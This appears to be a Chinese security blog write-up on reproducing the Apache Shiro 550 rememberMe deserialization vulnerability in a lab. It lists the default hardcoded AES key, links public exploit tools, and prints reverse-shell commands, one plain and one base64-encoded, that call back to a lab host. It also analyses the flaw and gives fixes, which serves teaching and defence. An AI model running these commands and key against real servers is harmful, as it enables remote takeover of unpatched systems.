服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

【技术分享】shiro550漏洞复现与研究

日期: 来源:安全客收集编辑:pony686

前言:就像雨总会停,雾总会散,同样地没有谁会一直失败。


1

漏洞描述

1.shiro概述

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

2.漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

3.漏洞发现

1、检索RememberMe cookie 的值

2、Base 64解码

3、使用AES解密(加密密钥硬编码)

4、进行反序列化操作(未作过滤处理)

4.shiro序列化利用条件

由于使用了aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。

尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。

 

2

漏洞复现

1.环境搭建

获取docker镜像

docker pull medicean/vulapps:s_shiro_1

重启docker

systemctl restart docker

启动docker镜像:

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

访问:

验证

抓包分析

2.漏洞利用(1)—脚本攻击

1. 下载shiro利用脚本,下载地址https://github.com/zhzyker/shiro-1.2.4-rce

2 . 使用工具进行验证

python3 shiro-1.2.4_rce.py http://10.10.10.128:8081/login

3.使用linux进入linuxshell模式。

  1. windos :bash -i >& /dev/tcp/10.10.10.128:8080/ 0>&1

linux系统需要编码之后,绕后再进行nc反弹。

http://www.jackson-t.ca/runtime-exec-payloads.html

5.然后使用nc反弹

漏洞利用(2)—自动化工具攻击

1.选择shiro550

2.然后使用ceye.io进行利用

3.验证key值

4.检测到漏洞,然后使用nc反弹shell

5.然后监听到shell。

漏洞利用方式3:burp插件

感谢作者(pmiaowu)提供的插件。

下载地址:https://github.com/pmiaowu/BurpShiroPassiveScan

 

3

vulhub环境复现

1.启动环境

2.访问主页

3.使用脚本进行漏洞检测

4.查看命令是否成功

4.使用命令:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

反弹shell

5.执行命令

6.反弹成功,拿到权限。

 

4

漏洞原理分析

原理分析:根据shiro报告分析可以得到,主要存在几个重要的点:

rememberMe cookie

CookieRememberMeManager.java

Base64

AES

加密密钥硬编码

Java serialization

1.首先正常登录,然后生成带有rememberme的返回cookie值。

2.生成cookie,shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager

3.之后进入serialize,对登录认证信息进行序列化

4.然后加密,调用aes算法。

5.加密结束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回

6.解析cookie

7.先解密在反序列化

8.AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码

9.调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager()这里用的是默认反序列化类,然后触发生成反序列化。

 

5

修复建议

Apache Shiro 1.2.5以下版本,建议抓紧升级shiro的版本,另一个修复建议就是将默认Key加密改为生成随机的Key加密。


6

总结

web渗透不只有owasp10常见的一些漏洞,我们还需要学习一些框架的漏洞还有一些中间件的漏洞,自己的知识面广了,自己的渗透路就会更加宽阔。本文为初学者对中间件漏洞的一些理解。会的大佬跳过哈。


- 结尾 -
精彩推荐
【技术分享】pocassist—全新的开源在线poc测试框架
【技术分享】从0到1——Hook内核系统调用
【技术分享】前尘—数据连接池下的至暗之处

戳“阅读原文”查看更多内容

相关阅读

  • 试用期应该有多久?

  • 当下正值“金三银四”招聘旺季不少小伙伴找到了新工作即将进入新单位的你知道试用期应该有多久吗?人社小知识视频教会您快来看看吧↓↓↓责编:杨 曼编辑:梁 蕊视频来源:北京
  • 方向伟:“话家常”中解心结

  • 怒气冲冲进门的“老上访户”,被他解开了十几年的心结;群众说不清的问题,他用扎实的业务知识迅速对症施策;百姓看不懂专业术语,他用“家常话”讲得明明白白……今年是方向伟在信访
  • 欧盟委员会主席冯德莱恩将访华

  • 外交部发言人毛宁宣布:经中欧双方商定,欧盟委员会主席冯德莱恩将于4月5日至7日访华。来源:央视新闻关注更多精彩内容<<<扫描图中二维码下载北京时间app▼更多文章推荐▼1、 体
  • 左侧创业和右侧创业|预言家周报#214

  • 前两天,VR 圈的老朋友搞了一次十周年聚会,我在群里看他们发的照片,依稀能辨认出几张面孔。十周年。有这么久嘛?回头翻朋友圈才发现,的确,当年点燃 VR 热火的 Oculus Rift DK 1 是2

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • 【技术分享】shiro550漏洞复现与研究

  • 前言:就像雨总会停,雾总会散,同样地没有谁会一直失败。1漏洞描述1.shiro概述Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直
  • 株洲:纸钱免费换鲜花 助力文明祭扫

  • 株洲日报讯(全媒体记者/刘平)“现场每天准备了200支鲜花,一共准备了1000支。”4月3日,记者从株洲市殡葬管理处获悉,在石峰区福寿陵园、福寿山庄的出入口处,设有“纸钱换鲜花”服务
  • 马英九一行到重庆张自忠将军烈士墓

  • 4月4日上午,马英九一行来到重庆张自忠将军烈士墓,张将军的孙子张庆成陪同。马英九在张自忠塑像前肃立许久,在听讲解员介绍张将军生平时更是眼眶泛红。之后他们在张将军墓前默
  • 内蒙古博物院清明主题活动邀您来打卡

  • 清明既是自然节气,亦是传统节日。在清远明净的日子里,内蒙古博物院为观众准备了丰富的节日活动,邀您在博物馆里共话清明。清明假期,快来博物院打卡看展。方寸之间——汉代画像砖